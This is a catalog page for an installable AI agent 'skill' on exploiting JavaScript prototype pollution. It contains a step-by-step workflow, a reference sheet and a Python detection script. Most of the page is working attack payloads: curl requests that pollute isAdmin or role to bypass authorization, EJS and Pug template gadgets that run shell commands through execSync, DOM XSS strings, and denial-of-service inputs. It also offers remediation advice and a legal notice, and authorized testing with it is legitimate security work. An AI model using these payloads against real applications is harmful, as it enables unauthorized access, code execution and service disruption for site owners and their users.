web application security

Exploiting Prototype Pollution in JavaScript

Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.

dom-xssjavascriptnode-jsproperty-injectionprototype-pollutionrceserver-side-pollutionxss
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing Node.js or JavaScript-heavy web applications
  • During assessment of APIs accepting deep-merged JSON objects
  • When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
  • During code review of object merge/clone/extend operations
  • When evaluating npm packages for prototype pollution gadgets

Prerequisites

  • Burp Suite with DOM Invader extension for client-side prototype pollution detection
  • Node.js development environment for server-side testing
  • Understanding of JavaScript prototype chain and object inheritance
  • Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
  • Prototype Pollution Gadgets Scanner Burp extension for server-side detection
  • Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
 
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
 
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
 
// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'
 
# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'
 
# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed
 
# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
 
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
 
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
 
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
 
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
 
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
 
# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
 
# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
 
# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
 
# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'
 
# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt
 
# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
 
# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard
 
# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

Concept Description
Prototype Chain JavaScript inheritance mechanism where objects inherit from Object.prototype
proto Accessor property that exposes the prototype of an object
Pollution Source Input point that allows setting properties on Object.prototype
Pollution Sink Code that reads a polluted property and performs a dangerous operation
Gadget A property that flows from prototype to a dangerous sink (source-to-sink chain)
Deep Merge Recursive object merge functions that may process proto as a regular key
constructor.prototype Alternative path to access and pollute the prototype object

Tools & Systems

Tool Purpose
DOM Invader Burp Suite built-in tool for detecting client-side prototype pollution
Prototype Pollution Gadgets Scanner Burp extension for server-side gadget detection
ppfuzz Automated prototype pollution fuzzer
Nuclei Template-based scanner with prototype pollution templates
server-side-prototype-pollution Burp Scanner check for server-side detection
ESLint security plugin Static analysis for prototype pollution patterns in code

Common Scenarios

  1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
  2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
  3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
  4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
  5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget
 
### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
 
### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.4 KB

API Reference: Prototype Pollution in JavaScript

What is Prototype Pollution?

Attacker modifies Object.prototype through unsafe object merge operations, causing all JavaScript objects to inherit attacker-controlled properties.

Attack Vectors

JSON Body

{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

Query Parameters

?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true

URL Path

/api/merge?__proto__.polluted=true

Vulnerable Functions

Library Function Risk
Native Object.assign() Medium (shallow only)
lodash _.merge() HIGH
lodash _.defaultsDeep() HIGH
jQuery $.extend(true, ...) HIGH
hoek Hoek.merge() HIGH
node-forge Various HIGH

Exploitation Impact

Privilege Escalation

// Server checks: if (user.isAdmin) { ... }
// After pollution: Object.prototype.isAdmin = true
// All objects now have isAdmin = true

RCE via Template Engines

{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}}

Denial of Service

{"__proto__": {"toString": null}}

Source Code Detection Patterns

Dangerous Sinks

// lodash merge
_.merge(target, userInput)
 
// Recursive assign
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key]  // No __proto__ check!
    }
}

Safe Alternatives

// Object.create(null) — no prototype
const obj = Object.create(null)
 
// Filter __proto__
if (key === '__proto__' || key === 'constructor') continue;
 
// Object.freeze(Object.prototype)
Object.freeze(Object.prototype)  // Prevent modification

Testing with pp-finder

# Scan npm package for prototype pollution
npx pp-finder /path/to/node_modules/package

Burp Suite Extension — Server-Side Prototype Pollution

Detection

  1. Send {"__proto__": {"status": 510}} in JSON body
  2. If response status changes to 510, server is vulnerable
  3. Send {"__proto__": {"json spaces": 10}} — response indentation changes

Remediation

  1. Use Map instead of plain objects for user data
  2. Freeze Object.prototype
  3. Validate/sanitize keys: reject __proto__, constructor, prototype
  4. Use Object.create(null) for merge targets
  5. Update vulnerable libraries (lodash >= 4.17.12)

Scripts 1

agent.py5.5 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for detecting prototype pollution vulnerabilities in JavaScript applications."""

import argparse
import json
import re
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

PROTOTYPE_PAYLOADS = [
    {"__proto__": {"isAdmin": True}},
    {"__proto__": {"role": "admin"}},
    {"constructor": {"prototype": {"isAdmin": True}}},
    {"__proto__": {"status": 200}},
    {"__proto__": {"polluted": True}},
]

PROTOTYPE_PAYLOADS_QUERY = [
    "__proto__[isAdmin]=true",
    "__proto__[role]=admin",
    "constructor[prototype][isAdmin]=true",
    "__proto__.isAdmin=true",
]


def test_json_pollution(url, token=None):
    """Test for prototype pollution via JSON body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"

    for payload in PROTOTYPE_PAYLOADS:
        try:
            resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
            resp_text = resp.text.lower()
            indicators = []
            if "isadmin" in resp_text and "true" in resp_text:
                indicators.append("isAdmin property reflected in response")
            if resp.status_code == 200:
                try:
                    resp_json = resp.json()
                    if resp_json.get("isAdmin") or resp_json.get("polluted"):
                        indicators.append("Prototype property present in response object")
                except json.JSONDecodeError:
                    pass
            if "500" in str(resp.status_code):
                indicators.append("Server error — potential prototype chain disruption")
            if indicators:
                findings.append({
                    "payload": str(payload),
                    "status_code": resp.status_code,
                    "indicators": indicators,
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue
    return findings


def test_query_pollution(url, token=None):
    """Test for prototype pollution via query parameters."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}

    for payload in PROTOTYPE_PAYLOADS_QUERY:
        try:
            test_url = f"{url}?{payload}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
            if resp.status_code == 500:
                findings.append({
                    "payload": payload, "method": "GET",
                    "status_code": 500,
                    "indicators": ["Server error from prototype pollution"],
                    "severity": "HIGH",
                })
        except requests.RequestException:
            continue
    return findings


def scan_source_code(file_path):
    """Scan JavaScript source for prototype pollution sinks."""
    findings = []
    vulnerable_patterns = [
        (r'Object\.assign\s*\([^)]*,\s*\w+\)', "Object.assign with user input"),
        (r'_\.merge\s*\(', "lodash merge (deep merge)"),
        (r'_\.defaultsDeep\s*\(', "lodash defaultsDeep"),
        (r'jQuery\.extend\s*\(\s*true', "jQuery deep extend"),
        (r'\$\.extend\s*\(\s*true', "jQuery deep extend"),
        (r'JSON\.parse\s*\([^)]*\)', "JSON.parse (check input source)"),
        (r'\.prototype\[', "Direct prototype access"),
        (r'\[(["\'])__proto__\1\]', "__proto__ string access"),
    ]
    try:
        with open(file_path, "r", errors="replace") as f:
            content = f.read()
        for i, line in enumerate(content.splitlines(), 1):
            for pattern, desc in vulnerable_patterns:
                if re.search(pattern, line):
                    findings.append({
                        "file": file_path, "line": i,
                        "pattern": desc, "code": line.strip()[:100],
                    })
    except FileNotFoundError:
        pass
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Detect prototype pollution in JavaScript apps (authorized testing only)"
    )
    parser.add_argument("--url", help="Target URL to test")
    parser.add_argument("--source", help="JavaScript source file to audit")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Prototype Pollution Detection Agent")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}

    if args.url:
        json_findings = test_json_pollution(args.url, args.token)
        query_findings = test_query_pollution(args.url, args.token)
        report["findings"].extend(json_findings)
        report["findings"].extend(query_findings)
        print(f"[*] HTTP findings: {len(json_findings) + len(query_findings)}")

    if args.source:
        src_findings = scan_source_code(args.source)
        report["findings"].extend(src_findings)
        print(f"[*] Source code findings: {len(src_findings)}")

    report["risk_level"] = "CRITICAL" if any(
        f.get("severity") == "CRITICAL" for f in report["findings"]
    ) else "HIGH" if report["findings"] else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
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